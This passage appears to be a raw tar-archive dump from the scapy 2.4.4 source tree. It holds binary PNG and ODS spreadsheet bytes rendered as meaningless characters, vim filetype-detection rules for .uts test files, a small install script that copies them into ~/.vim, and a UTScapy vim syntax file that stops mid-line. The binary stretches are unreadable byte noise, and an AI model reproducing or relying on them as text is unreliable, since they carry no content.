Õ\´=ý¶µtË-ÚÞ;1ž®m]½íŒ‰-Òü„‹2~[¶ë1Þ(Z}æqÑd¶>aœÄ•ÏHýc,Ër¼‹Öf›µÄãcëÉÙzuöŠðÍ–ò[)v¶È¯¥^°”[ż±NbKÑW?¶ˆ±e·×jÏKŸLš-ª}¶:/$­ì¢õ'×LÈ`î£m_ ßù¸£lëVÚþ3cl=}wm㣠öqטß+ÌÀsÌ´eB,çÑŒ1¾z½ðóKèQéoèwë·öö¦ÊÊõZ0'Ƭʿ ‰õªœg7ܶ’kª>íýÍwG¯RLȇv³öËËBßùQ¿y¸k}˜™@ÔÜØÚ |Šíþä †åÀ:Fåu.Zô9f.-…ÃS:Í­~'ØÍ_uÕB lÖä«^) øsªÒ±„vNX2Ë}Ûø»«ü¹_î$3|{HÇÆ¼þçõçp¹|% *Z{Ith­1ÓU¤n@§Vð»‹ûÀäë“ݬmnc[Kªx±ÂPØÍaýþ½1ëc¯Ë,§•-žÜÒ8U3–Ëë7Þ¬ ní¼QY®Ã`ÀÏkÉ0”ñ–'ih3¿Q*kΩà÷ãf@oËϵ­ö糘ûb½TWKÓW°v<æô¦µµßºÂ£r±W·½âdÖ×oç¢Ïr9U¿—µn©Ãth‰î1¿·|%?ª†ø5i+ÿTl¯Ò*é•úG…1°e=úÆ5R¾>_Jÿð¤9sjƒÇ·ªÄHùß±8íçã5 [\¶·þí¤J”ÿ {¥i¯~&ÄÜÄ‚9·mpÿq”…õªÚŒËì‡%4Ý¡„¿‹;ÝÆfmÓ˜ÇÉ-eçÞEl,1SÐÚSs6Vc|‘kRÉÛÆ%-e7dã†`©7¯`Þó7Ü/“¦¶ó¼¯Ï£SüÓÞú·‡úüÍÌÆrÙÚx;J_'yRøqkq÷·gÎk[zg›$Æni¯{³òK›Ù²„ßyÅE=iqˆ“ÝÆÉÅYT|HÑžc¦ -¾­à»öJëš¿I]ânÄ3–ˆùuËåw&– œ·Þ¢o6"?ø›ï¤:¡ÿÖ˜ðq³±S‹V·Rˆ;+¯ÖKËXÏÚö~TRÇÔLòlbõ¶´zâöN­_bFýɉ;ð¼Pé0SPÊMÂ,Wò ÃݵY=_¨1(mXioU™¬UÁwÏó½iÄuŒï8²Â›p‹ÇÍ›¶4iŠù½n5>­OWl>Ha»U“I“Ú´Æé%µh ›ª_iò?›^ßßkŒkëÕ°Ù>÷$Ýó3+ÄüžÍ¦;5Í zCuj5¤Ñˆ´­ÏÑT)–e=î28wæù€YbLÉz"쵓 H·W‰KÑÞÿžÓ,5dÔlú}œ¯¥ü†½J»=æoü­„sÇz+׉±í*LŠ™€pñcoίÂOµóOÎ7IX>¡ ÇWÍWÁw˱‘ÚØEcwlPû"œÁâ‰*üÆã1¿×SÇ®ÔûqÜè›x³Ô;Ä|¹¼è'f ÚÂÖëætgËc‰m6àf1·1wÌï}X…ÁÛi˜¨Î’(‹6?§ì_øZÇuD~gxÌïÙrD³—ò‡>eÈ«1~Ãz|wkãoâ¼â³Ä ƒ‹~‚a¦ ­ÆÛ^óYöñŸ«üÓfˆî”Iø·<]q{µ>ÈÛññÓê‡H{r¶¶Hµ^AU2î¯c·wjŸ³¹ó¨¯ŠÅcl³ÐÏ1SPŽ¡²\:6]ú—ü¼eb~Dý,e|'nöösf¤lžÓY‘³´UÆTéw*ÉÍVÎ9k™íãL’°^Ë5Zø·]blÏf^Éé…™€Ò Õ ß]ƒŸ·ÙN—˜Ü°Æåì°\èâ§€€äi_¥kÑÌáU1¿¾W3¦Üö{‡ÛºOûò ‡3å5â¶®½¸»?ßÇ•žÇ'nOD—¼ Ý×sñ¿-"ÓWéw*É¿Un¯ï%îÏë0–ʦ:wfžâ¿Ù ¾ÙblërN-ÌÄ3T_H60|}é¥*ÿ¼ÍH*eìØ˜Ûcàg~ÉÙX2óTéw*9Æ–yÚ¤8©¦qhÞ?Æv>uñSA`¦|cnk¿-í¢e[î’ª5õ4Ë¥ÔÆßÄ]œxm»CÂoF¶gaÉL¯ã:W~§oß3Û0î@ô¿Mˆ®Òzí6‰±+ÔLàÔŠ :Tb¨ì5ÃP“åY]4H}k ˆNëaͦo/]ÓÊßÄMå`&Í\>“ñÐ÷O`6óì=o<­WÄfm–:fÌ&ÄcÓ±†1³õïnLù7âNøV×Ҩ߳ŒæïJ½ËüÞ‚>–Sm›ÇÅLT£Ì$n¬l`º ˆ¾Ðϼ³§][6Æ’q&½Àñ)™)c£,›)ÅÖ’*®óë–Aû,é6¯+؇¾1ÍT§†nÓ4Í”bbãíÖùõã>Ìèw/vQ^¶r©÷f*Nn©ÁúíÏiõþ¯ù cõdùgÌPÍ$m.]-%µ6Úª­½Žókë½sÛ»&´¤MZØbÅqÖ³^¨%›s*1R9f³f^'ÉŽ˜ÅW*øÝ.Þ„‹­›%g6(Ï1Sã©»WÆjŒt—dÙ—mƽ¢{¾Â]êèMEk<sÛsùcÚ1Ý_êã« ÅüÉ£u ¾Jh÷»äð4¶s攎¥½>¬‚M<_Áõe(ׯŒÇÍ1¾gFüZEÌ”w£°JÃUö¯t[¶¬dëï-ë¢dœßW°¹¶fh «`Û§ú¹iÅÔ^­œgûÃPõˆù³I®M·zNOg[óqá¶{¨«lŸJMÜèq’làùo´Œ˜)(#}OÄ@݈Nöcv*5U¥ëôq5™šÚøwË…w†áÒ•--½Q¡‘²úWMfŒÊ5TcþôØ„ößÎ…¿çô\¶Þ˜}’:ž+©8®‚M| ká ¯'[ðÑ*ÄÏž“ñ3eÞ(¬÷g÷)ŒÕþ¿WŒn¯¹”€jÛß©x°‚Ml!]’”¡²íHö*è¦)ÚÞr UÜ%}z%Ú ¤9s|ZÛàù»b¬÷ØÜ1]ÆEiA*I§qgBõº¨ ±»›ç˜)(Ÿš¹QX^©&ÝHŽ”º&ðqCÿTÂß\RéýÒE‹-ÏTáMׯ9=$ÞB»[Ž¡s7v¨°SIgOa®óŠÃ©>óU[üûaM°¨„kª“™ºÏRŽÛe4‰˜)(ïfa7öZøg{ª?YúPw´4{Ìß°^Ÿ•bîb)‹ÊÞ+½]a(lJý›Ú×ýÊéÍðæc5Éz¢š\Ë Ì–k¨âÎR´ý_.æq²ñ@C¤ƒ:Å-Ÿ˜<¡œñqúÛ%¤Á.J³PéÃÄc¾w¶b´{¥= Åx}à Úhá¦qµ+=5ä÷K·»(Í·%lßnDÖS³wÌ]œ¹Äß±™ë ËÒ=Ò#v#–앇õuóÓz:Ì -ï¢ñ`qL¦õ.¬¦º½ÛB},9jÜYy–˜óXéRml FצÍ[O”MH"3üGúÝ^œ“¸x9•ÚÂba yÛ,5["é=íçhÿ›6Õ’\ZBN[FiÙwýÎ= ^³vn|šÐ±š’£´¯§Ð2b¦ ôFÙ Á[RÜÁæoº(ñå[þ‰Ö¦oÿêŸäífjcM,9fÜ…aßUþ@‰u±vîIopòB[†ÊŒÜ¢lÿGo^0ƒã¢^>œmƒú-5ÄÒ>^=®WVÍT-xB±X9…k×&v$ÚÖæÖþ~é YÈ€ÍqtFÊXÄ+-î*õ}–hëýzÖEËÅä316ÐaÿúfJî¨ÐLYOÚ6^P}lVÜÁ)mû¢ÌÔ ŒTë0f ¦|²mm¬TVXÎëF`¦ÿ™³Cqf FjRýYd6¿œ®cû\Öv­GøÅ¤7Ë!ÃL@yTÚ+•6–M½)Æ÷ìõÐ99–ñ²Vn˜öêô:NÕ\bÙÎOLù7’L“`Ë1ð3¥âr®˜á]´Â±^Øë>õ¸=žñÃpŸ´O gÉGqÖæŠO\4èü—”Çf~›Ð¶.÷×`¦ DÃa¯ŽVqÉ¿&HŠ´ïWP?3c»d—VIKå°µöó×êò±KoÜ $ÍÀÜ cô¶ªÀ ljœ‹(Ì”Ùá Õ5Ûµ ´o—'P?›Y¸ŽK.ótR4J[ØÂÐeÔåò„nš.–®`%¿ìKµ¸Tªt ={¥þ5‡3ñ Ç©¿‹–Tù,»dùmH°~ÖCµ¥t˜ú®%–ÏhíÓßJé‘jËÒ~gm«XÂÑ[kôÛ–“lé–Ò\¤x [Ê‹JsX‘ñ3 4ÈÖ{S'ãâ/H\ –i{íÇQIÛð‹-Ÿ©–üÙ…ØÆGõÑ~\UA=ìÕ¬;©ŠûýiÎNe3ÏÛJ‡º(ßY5°ëå(im£¯jTïJ¢ÛÀó‡i1SŒéøQ²±9=]”±|d~ÖŒ“ÍV³Ö—g6N›­cµÇù²:RÂ4í|]ʧ#QNR6î‘íË>í:Gm>]c&XÝâ|ý=M ®³XiQlûö®iBÝ®)µ×ö¡ý­OömÐù"Æ*f<ökÀù3Xßþ)|ba™§xÚŸ{!œ¥Øž¿ÊÕ¬û äøgx]æCÌÚsÿ¸Èö´Ù¶$g<.¸Úê7im¾'Öï‘¶¿"Œ®Üd±Æùz’ú‚ ‚Ö?Â{W¯ï\–ït ï×÷á5Ž«lûÖàd ¿d½§ÉTÆ÷}Àö¡ãñ:3y!AWoœ¿V‘ë¥bàš)²Hi rÎÚƒ>~—5çvÇŠç$Sä*‘ÒÔ£î¢Õ5|öûm‹µ‹<^w+Ößu½Ý]F=>.@ »ÎX µý~Úâ˜%M·BÒ¤i9ÝU«;QOXœwñoi-Õ¾2ä$Sä‚%Lºøýê_þ¤ ã/ºî×fcÔ“aš€lÒŠíëSêëÕh©6ÓL Õ¨¢Å6/¥ØåMFd €<¹f±*¥¾´æÛ}†œd €\¨F-ˆz*Å./–j¿y’)òâzŠÇçº%Ru†œd €\¨FչܟRw gu’)ò’Hé˜|#¥îTOò(I¦È KlT4ûŽóų{H [/u’)ò–PX£©¾Ï=êbÞ¢lýL1Ú$Sä5¡znîèïò¦ZìäŒT÷QN€ì%TŸ¬9^*»/)³÷6÷ÂâŠm³ÁÈ’Lð¿%UÓÖ”-©ÚjíI‹Ãú¹°Ä¿F“÷l³Œdoú‡%VEk†,6ZCü²hZ|p¾Î^“‘JÏOÁ>敃fêIEND®B`‚scapy-2.4.4/doc/scapy_version_timeline.ods000066400000000000000000000072641372370053500207040ustar00rootroot00000000000000PK !…l9Š..mimetypeapplication/vnd.oasis.opendocument.spreadsheetPK! v_á( styles.xmlÄVËrÓ0Ý3Ã?dİtS ©§n¡aÃøE–QYòHr“òõ\½ü()ã ÐE3–îëÜ{ε¯oO­X=Rm¸’*Ö´¢’¨šË¦Bß¿Ýg[´2Ë %i…ž¨A·7¯_]+Æ8¡e­HßRi3cŸ5+'Miñ^€q¯e©°á¦”¸¥pLJÕQ™|ʉqéS‡ƒz©{,dâoéÉ.õv¶ÓÜÆRgo<õ®5>.uv¶Ðå©;SKOFdLeDµ¶š= s\>Tè`mWæùñx\/ÖJ7yquu•û[U“Á®ëµðV5É© n¨&/ÖEžleßî©^Za-þ­?æXµŒ`ú¼Ö¨“Ê6ä@[lÖ-'ZÅìš’RäôD¨È™Òm/0ºI¤e Ë0¡YM‰07סÐádö¤­Ð ¾×dðؔѤåâi¼Éo®cÂt?FŽìô!Qèa~‚ffɾl Ê™Ñ*>µ\f\ZÚPÕ¼áÖ€\‘K=31"Ÿv–à³4@Ã07XZ§m‡”á€Èë6ƒž‰tãÆbfNÃò¯Ñ:ë4[[€©rÉC£U/k¡PÀ™7÷÷»ËÝ«7ú‚îžy%Ó«Ýf³ùè¡[ÿ?9ú‡¤O”á^ü,!?¬GË 0¡-‰{«Zè"AçÁZ¥é°- pá/uÜS,ôz¤^˜’£­»É`§b(äÅ{·=M,`*>°á?aˆEÑýrQÝqŠzþré¯ï çëaÛîãÝýB¶Õ hþ €êÀ­™R“X» 13>OYív|ɸ€ue”à5Z 'ƒ2Þ³m±O7ªÃ„[Ø-PÓÛhm¬V0´Á­¡p”ymÚ¬7ï./·\†/“œ.¶ê-ž]ͳŒÐghÇ¥æ Ë+î²þ¡+ÃúìpC3ŸTogúìÚbèÑÄfÚ'`g‹u+Ϊκp`ÆÓ½² ¹3‚2xÕoÖ—s{Í›ÃxˆÚiXŸ™Òd ¤tŸ;Ò U>H!˜ø•®Ý»ÎÚý K® ¬,2lÜ —=M&–i|!qZ“°¼¡xJø’J.>e…Ôþ%Ö¬Èkøq,S3®ÅPÐ|»Ç3¦D~ÞNèå¦6¼ÿ0ïÏ¢¶i?DÙr®¤X‹žtñÏÊ Ü™Õ8¯'®¬ G’ÿÎêHwø¸píM"3‡.ÒŒëmW “å_S!„¦@3C¼Ø#7—¯æ¦1UˆaaèH„€hpŒÿèaOja?C—¾cÒ'z‚ý ÿÿPK!b@ï]Bø& content.xmlìZKã6 ¾è¼g9ï'’ìaºôRØèU±åÄXÙ2$y’ô×—’,?;ãd“™Ù¶9ÌâDêãGŠ¢³ü|ˆhç…p²xåôÝžÓ!±Çü0Þ®œ?ÿxF3§#$Ž}LYLVΑçóú矖,B,|楉%òX,áwÖ‹ÅBâ é”Ç †E(1Ž<ö,!±´( /´nóÀ¬ÝvzfIi¾$Ùv¶’-ëòØÞr-\žís¼o«YÉÌåék;ù (  %X†vy™ ão+g'e²èv÷û½»ºŒo»ýù|ÞÕ£Næ(ßËå’”S-å{]B‰òªèöÝ~×ÊÆi´!¼­…>–ø ñ´jÇ mØ^$Øæf oG",Ü(ô8,.€Ò5¤è’ƒGh7`Ô,”Áaöéiòåù鋵ûÑT£Û¬9½Þ¤ßÓ%@Û³ljm¿ê,»æE6Ô ó4ÍÙyúüþIñ_ê[}«»ºÄü5ïQÏÏOÓQó'¨Q'×T‡ó›"ªEa9µ ¦º¢¡˜z1´LÞ–(%DZ0÷ Ï’eÛD„ÃÝ©?JòB—¡ê±-BëóÔ P¥úµ¹r}TaÛ‡ÆÁÿ²õmŽÿáOHÖtQg4bè6d‡²ê…©²žÜ?7œàohC A,T·ZëÅL|úr·rîx>˜÷'ÙgzÕ¥”5Ýìaæd2φÙç:3›îÎ0³ŸC ˆ^‰fÓòfN¦ƒÂëW™É›¸ÉÙþ„˜ð¤ÌJÃYõp—ÝÑû3w:.òc*b‰ #hÇ”Å$O³«è9©[ßÐyYo±û­Œ–¸>ØX†î$4EP‚·$ëÕEIÿÄ ¥‰n!,üP$C“Ñàjܲ硄–1Š˜ù‚r$7çõ‡mEæM²¼å˜õ"7Ì?æ­P‘€»|±#D®—F54Úš©l¬GæÊXõ)Yÿ~”;wËnöþP¿y¦‰g7æ1èòéq=rÊÀïÚÉ©ÓnÜÉð¦d®:A¹àËà,Ú ÿ6N’Mg:Ñ•!…}YD ’M”ÔQêU¢T=­×0žþêáähß™¶©póëì¬*žÓË£;ys­Ó‡jísèŽÐðÍ÷9t»ÏsÝÙuÈšøÈ‘2.œ9pî_·ì¯ºÇRŽ|UDÔž Ó[²Kž/«ZuÂiÐúÃà?tÛ¤ñR†2®"½…ºªNôx¤#·÷ýp‰ŠUW]¿*y)¨éIÕµ.Ù׸Ö8ÔO<Õ¦v{%T.!QÅì’§1kHU7ùòjü3«t9YtýÞh6žæW€ò&Õe¾Z¡•wãÕbT_ì•+êâ+7•¬½üš;®ýÏ~á .0ú[jëÿÿPK!.ÓMXöÉMETA-INF/manifest.xml¬’ÁjÃ0 †ïƒ½CðÝÎz¦IÙa…ºS÷"VVƒ-›H)ÍÛÏ$Ý-ôfYâûÿßÖzsŠ¡:âÀ>Q£VæIUH]rž>õ±ßêgU±9‰°Q²Ú´ëä{d±ó¡*$â¥lÔ8MÀž-AD¶ÒÙ”‘\êÆˆ$ö÷¼=k·lïê26LÕ¬`û1AªÕå:¢ó eÊÅä|RâÔGræÛ€ù©k8Žˆ¢êëw¯ûýö¾­g;¦øÃ…àIêsû~—HJÞ;S# Üé ´<öÙsO·¤g™ò•N—/X¶­ýÿÿPK!óBög³meta.xmlŒRMOà ¾›øî”Â4®¤í:=­¼!¼›D P7ÿ½ý\¦^<ÂóÉŠÅak’OðA;["šf(+ÒvS¢çúÏQ¢°Jg¡D_Т:?+Üz­%påd³ñ¢HZ3ø•¨ñ–;tàVl!ð(¹Û$ü”Íûèᦳú¯ºãžj•,Ñ{Œ;NÈ®ñ&u~C”$` kM)AcσÑöãHßï÷é~Ö hžç¤GQ2¾ód"Šªéõ]zUô6`Á‹è|u¯¥wÁ­ãC?¡,Í’ãåò ÁkadcDlWÆÇ—t^_^ƒ·¶:ja°ôÐ'܉7¯Á$«‡º^>ޢߤBI> n„-ÚŽçÁ¶GÛX‰ËhŽ3†«å”q–¿ŽÖ?‰ñ‰b†ÙUMs>›ñ‹«V1¡C¨¶ºÝ`Õ´ã´YժΞFÛ?XAƵ‡]§Óôaú?V}ÿÿPK- !…l9Š..mimetypePK-! v_á( Tstyles.xmlPK-!b@ï]Bø& ]content.xmlPK-!.ÓMXöÉÈ META-INF/manifest.xmlPK-!óBög³ñ meta.xmlPK ~ scapy-2.4.4/doc/syntax/000077500000000000000000000000001372370053500147405ustar00rootroot00000000000000scapy-2.4.4/doc/syntax/vim_uts_syntax/000077500000000000000000000000001372370053500200345ustar00rootroot00000000000000scapy-2.4.4/doc/syntax/vim_uts_syntax/ftdetect/000077500000000000000000000000001372370053500216365ustar00rootroot00000000000000scapy-2.4.4/doc/syntax/vim_uts_syntax/ftdetect/filetype.vim000066400000000000000000000000541372370053500241730ustar00rootroot00000000000000au BufRead,BufNewFile *.uts setfiletype uts scapy-2.4.4/doc/syntax/vim_uts_syntax/ftdetect/uts.vim000066400000000000000000000000551372370053500231660ustar00rootroot00000000000000au BufRead,BufNewFile *.uts set filetype=uts scapy-2.4.4/doc/syntax/vim_uts_syntax/install.sh000077500000000000000000000012261372370053500220420ustar00rootroot00000000000000#!/bin/bash if [[ $(pwd) != *"doc/syntax/vim_uts_syntax" ]] then echo "Wrong current directory. Please call this script if you are inside doc/syntax/vim_uts_syntax" exit -1 fi if [ ! -d "$HOME/.vim" ]; then echo "$HOME/.vim doesn't exist" exit -1 fi if [ -f "$HOME/.vim/ftdetect/filetype.vim" ]; then echo "$HOME/.vim/ftdetect/filetype.vim already exists. You may not want to overwrite this file." fi mkdir -p -v $HOME/.vim/ftdetect mkdir -p -v $HOME/.vim/syntax cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim echo "Installed" scapy-2.4.4/doc/syntax/vim_uts_syntax/syntax/000077500000000000000000000000001372370053500213625ustar00rootroot00000000000000scapy-2.4.4/doc/syntax/vim_uts_syntax/syntax/uts.vim000066400000000000000000000337451372370053500227260ustar00rootroot00000000000000" Vim syntax file " Language: UTScapy " Maintainer: Nils Weiss " Last Change: 2019 June 07 " Credits: Neil Schemenauer " Dmitry Vasiliev " Zvezdan Petkovic " " This file is a copy with additions " of Zvezdan Petkovic python syntax file. " " Optional highlighting can be controlled using these variables. " " let python_no_builtin_highlight = 1 " let python_no_doctest_code_highlight = 1 " let python_no_doctest_highlight = 1 " let python_no_exception_highlight = 1 " let python_no_number_highlight = 1 " let python_space_error_highlight = 1 " " All the options above can be switched on together. " " let python_highlight_all = 1 " " quit when a syntax file was already loaded. if exists("b:current_syntax") finish endif " We need nocompatible mode in order to continue lines with backslashes. " Original setting will be restored. let s:cpo_save = &cpo set cpo&vim if exists("python_no_doctest_highlight") let python_no_doctest_code_highlight = 1 endif if exists("python_highlight_all") if exists("python_no_builtin_highlight") unlet python_no_builtin_highlight endif if exists("python_no_doctest_code_highlight") unlet python_no_doctest_code_highlight endif if exists("python_no_doctest_highlight") unlet python_no_doctest_highlight endif if exists("python_no_exception_highlight") unlet python_no_exception_highlight endif if exists("python_no_number_highlight") unlet python_no_number_highlight endif let python_space_error_highlight = 1 endif " Keep Python keywords in alphabetical order inside groups for easy " comparison with the table in the 'Python Language Reference' " https://docs.python.org/2/reference/lexical_analysis.html#keywords, " https://docs.python.org/3/reference/lexical_analysis.html#keywords. " Groups are in the order presented in NAMING CONVENTIONS in syntax.txt. " Exceptions come last at the end of each group (class and def below). " " Keywords 'with' and 'as' are new in Python 2.6 " (use 'from __future__ import with_statement' in Python 2.5). " " Some compromises had to be made to support both Python 3 and 2. " We include Python 3 features, but when a definition is duplicated, " the last definition takes precedence. " " - 'False', 'None', and 'True' are keywords in Python 3 but they are " built-ins in 2 and will be highlighted as built-ins below. " - 'exec' is a built-in in Python 3 and will be highlighted as " built-in below. " - 'nonlocal' is a keyword in Python 3 and will be highlighted. " - 'print' is a built-in in Python 3 and will be highlighted as " built-in below (use 'from __future__ import print_function' in 2) " - async and await were added in Python 3.5 and are soft keywords. " syn keyword pythonStatement False None True syn keyword pythonStatement as assert break continue del exec global syn keyword pythonStatement lambda nonlocal pass print return with yield syn keyword pythonStatement class def nextgroup=pythonFunction skipwhite syn keyword pythonConditional elif else if syn keyword pythonRepeat for while syn keyword pythonOperator and in is not or syn keyword pythonException except finally raise try syn keyword pythonInclude from import syn keyword pythonAsync async await " Decorators (new in Python 2.4) " A dot must be allowed because of @MyClass.myfunc decorators. syn match pythonDecorator "@" display contained syn match pythonDecoratorName "@\s*\h\%(\w\|\.\)*" display contains=pythonDecorator " Python 3.5 introduced the use of the same symbol for matrix multiplication: " https://www.python.org/dev/peps/pep-0465/. We now have to exclude the " symbol from highlighting when used in that context. " Single line multiplication. syn match pythonMatrixMultiply \ "\%(\w\|[])]\)\s*@" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent " Multiplication continued on the next line after backslash. syn match pythonMatrixMultiply \ "[^\\]\\\s*\n\%(\s*\.\.\.\s\)\=\s\+@" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent " Multiplication in a parenthesized expression over multiple lines with @ at " the start of each continued line; very similar to decorators and complex. syn match pythonMatrixMultiply \ "^\s*\%(\%(>>>\|\.\.\.\)\s\+\)\=\zs\%(\h\|\%(\h\|[[(]\).\{-}\%(\w\|[])]\)\)\s*\n\%(\s*\.\.\.\s\)\=\s\+@\%(.\{-}\n\%(\s*\.\.\.\s\)\=\s\+@\)*" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent syn match pythonFunction "\h\w*" display contained syn match pythonComment "#.*$" contains=pythonTodo,@Spell syn keyword pythonTodo FIXME NOTE NOTES TODO XXX contained syn match utsCampaign "^%.*$" syn match utsTestSet "^+.*$" syn match utsUnitTest "^=.*$" syn match utsKeyword "^\~.*$" syn match utsComment "^\*.*$" " Triple-quoted strings can contain doctests. syn region pythonString matchgroup=pythonQuotes \ start=+[uU]\=\z(['"]\)+ end="\z1" skip="\\\\\|\\\z1" \ contains=pythonEscape,@Spell syn region pythonString matchgroup=pythonTripleQuotes \ start=+[uU]\=\z('''\|"""\)+ end="\z1" keepend \ contains=pythonEscape,pythonSpaceError,pythonDoctest,@Spell syn region pythonRawString matchgroup=pythonQuotes \ start=+[uU]\=[rR]\z(['"]\)+ end="\z1" skip="\\\\\|\\\z1" \ contains=@Spell syn region pythonRawString matchgroup=pythonTripleQuotes \ start=+[uU]\=[rR]\z('''\|"""\)+ end="\z1" keepend \ contains=pythonSpaceError,pythonDoctest,@Spell syn match pythonEscape +\\[abfnrtv'"\\]+ contained syn match pythonEscape "\\\o\{1,3}" contained syn match pythonEscape "\\x\x\{2}" contained syn match pythonEscape "\%(\\u\x\{4}\|\\U\x\{8}\)" contained " Python allows case-insensitive Unicode IDs: http://www.unicode.org/charts/ syn match pythonEscape "\\N{\a\+\%(\s\a\+\)*}" contained syn match pythonEscape "\\$" " It is very important to understand all details before changing the " regular expressions below or their order. " The word boundaries are *not* the floating-point number boundaries " because of a possible leading or trailing decimal point. " The expressions below ensure that all valid number literals are " highlighted, and invalid number literals are not. For example, " " - a decimal point in '4.' at the end of a line is highlighted, " - a second dot in 1.0.0 is not highlighted, " - 08 is not highlighted, " - 08e0 or 08j are highlighted, " " and so on, as specified in the 'Python Language Reference'. " https://docs.python.org/2/reference/lexical_analysis.html#numeric-literals " https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals if !exists("python_no_number_highlight") " numbers (including longs and complex) syn match pythonNumber "\<0[oO]\=\o\+[Ll]\=\>" syn match pythonNumber "\<0[xX]\x\+[Ll]\=\>" syn match pythonNumber "\<0[bB][01]\+[Ll]\=\>" syn match pythonNumber "\<\%([1-9]\d*\|0\)[Ll]\=\>" syn match pythonNumber "\<\d\+[jJ]\>" syn match pythonNumber "\<\d\+[eE][+-]\=\d\+[jJ]\=\>" syn match pythonNumber \ "\<\d\+\.\%([eE][+-]\=\d\+\)\=[jJ]\=\%(\W\|$\)\@=" syn match pythonNumber \ "\%(^\|\W\)\zs\d*\.\d\+\%([eE][+-]\=\d\+\)\=[jJ]\=\>" endif " Group the built-ins in the order in the 'Python Library Reference' for " easier comparison. " https://docs.python.org/2/library/constants.html " https://docs.python.org/3/library/constants.html " http://docs.python.org/2/library/functions.html " http://docs.python.org/3/library/functions.html " http://docs.python.org/2/library/functions.html#non-essential-built-in-functions " http://docs.python.org/3/library/functions.html#non-essential-built-in-functions " Python built-in functions are in alphabetical order. if !exists("python_no_builtin_highlight") " built-in constants " 'False', 'True', and 'None' are also reserved words in Python 3 syn keyword pythonBuiltin False True None syn keyword pythonBuiltin NotImplemented Ellipsis __debug__ " built-in functions syn keyword pythonBuiltin abs all any bin bool bytearray callable chr syn keyword pythonBuiltin classmethod compile complex delattr dict dir syn keyword pythonBuiltin divmod enumerate eval filter float format syn keyword pythonBuiltin frozenset getattr globals hasattr hash syn keyword pythonBuiltin help hex id input int isinstance syn keyword pythonBuiltin issubclass iter len list locals map max syn keyword pythonBuiltin memoryview min next object oct open ord pow syn keyword pythonBuiltin print property range repr reversed round set syn keyword pythonBuiltin setattr slice sorted staticmethod str syn keyword pythonBuiltin sum super tuple type vars zip __import__ " Python 2 only syn keyword pythonBuiltin basestring cmp execfile file syn keyword pythonBuiltin long raw_input reduce reload unichr syn keyword pythonBuiltin unicode xrange " Python 3 only syn keyword pythonBuiltin ascii bytes exec " non-essential built-in functions; Python 2 only syn keyword pythonBuiltin apply buffer coerce intern " avoid highlighting attributes as builtins syn match pythonAttribute /\.\h\w*/hs=s+1 \ contains=ALLBUT,pythonBuiltin,pythonFunction,pythonAsync \ transparent endif " From the 'Python Library Reference' class hierarchy at the bottom. " http://docs.python.org/2/library/exceptions.html " http://docs.python.org/3/library/exceptions.html if !exists("python_no_exception_highlight") " builtin base exceptions (used mostly as base classes for other exceptions) syn keyword pythonExceptions BaseException Exception syn keyword pythonExceptions ArithmeticError BufferError syn keyword pythonExceptions LookupError " builtin base exceptions removed in Python 3 syn keyword pythonExceptions EnvironmentError StandardError " builtin exceptions (actually raised) syn keyword pythonExceptions AssertionError AttributeError syn keyword pythonExceptions EOFError FloatingPointError GeneratorExit syn keyword pythonExceptions ImportError IndentationError syn keyword pythonExceptions IndexError KeyError KeyboardInterrupt syn keyword pythonExceptions MemoryError NameError NotImplementedError syn keyword pythonExceptions OSError OverflowError ReferenceError syn keyword pythonExceptions RuntimeError StopIteration SyntaxError syn keyword pythonExceptions SystemError SystemExit TabError TypeError syn keyword pythonExceptions UnboundLocalError UnicodeError syn keyword pythonExceptions UnicodeDecodeError UnicodeEncodeError syn keyword pythonExceptions UnicodeTranslateError ValueError syn keyword pythonExceptions ZeroDivisionError " builtin OS exceptions in Python 3 syn keyword pythonExceptions BlockingIOError BrokenPipeError syn keyword pythonExceptions ChildProcessError ConnectionAbortedError syn keyword pythonExceptions ConnectionError ConnectionRefusedError syn keyword pythonExceptions ConnectionResetError FileExistsError syn keyword pythonExceptions FileNotFoundError InterruptedError syn keyword pythonExceptions IsADirectoryError NotADirectoryError syn keyword pythonExceptions PermissionError ProcessLookupError syn keyword pythonExceptions RecursionError StopAsyncIteration syn keyword pythonExceptions TimeoutError " builtin exceptions deprecated/removed in Python 3 syn keyword pythonExceptions IOError VMSError WindowsError " builtin warnings syn keyword pythonExceptions BytesWarning DeprecationWarning FutureWarning syn keyword pythonExceptions ImportWarning PendingDeprecationWarning syn keyword pythonExceptions RuntimeWarning SyntaxWarning UnicodeWarning syn keyword pythonExceptions UserWarning Warning " builtin warnings in Python 3 syn keyword pythonExceptions ResourceWarning endif if exists("python_space_error_highlight") " trailing whitespace syn match pythonSpaceError display excludenl "\s\+$" " mixed tabs and spaces syn match pythonSpaceError display " \+\t" syn match pythonSpaceError display "\t\+ " endif " Do not spell doctests inside strings. " Notice that the end of a string, either ''', or """, will end the contained " doctest too. Thus, we do *not* need to have it as an end pattern. if !exists("python_no_doctest_highlight") if !exists("python_no_doctest_code_highlight") syn region pythonDoctest \ start="^\s*>>>\s" end="^\s*$" \ contained contains=ALLBUT,pythonDoctest,pythonFunction,@Spell syn region pythonDoctestValue \ start=+^\s*\%(>>>\s\|\.\.\.\s\|"""\|'''\)\@!\S\++ end="$" \ contained else syn region pythonDoctest \ start="^\s*>>>" end="^\s*$" \ contained contains=@NoSpell endif endif " Sync at the beginning of class, function, or method definition. syn sync match pythonSync grouphere NONE "^\%(def\|class\)\s\+\h\w*\s*[(:]" " The default highlight links. Can be overridden later. hi def link pythonStatement Statement hi def link pythonConditional Conditional hi def link pythonRepeat Repeat hi def link pythonOperator Operator hi def link pythonException Exception hi def link pythonInclude Include hi def link pythonAsync Statement hi def link pythonDecorator Define hi def link pythonDecoratorName Function hi def link pythonFunction Function hi def link pythonComment Comment hi def link pythonTodo Todo hi def link pythonString String hi def link pythonRawString String hi def link pythonQuotes String hi def link pythonTripleQuotes pythonQuotes hi def link pythonEscape Special if !exists("python_no_number_highlight") hi def link pythonNumber Number endif if !exists("python_no_builtin_highlight") hi def link pythonBuiltin Function endif if !exists("python_no_exception_highlight") hi def link pythonExceptions Structure endif if exists("python_space_error_highlight") hi def link pythonSpaceError Error endif if !exists("python_no_doctest_highlight") hi def link pythonDoctest Special hi def link 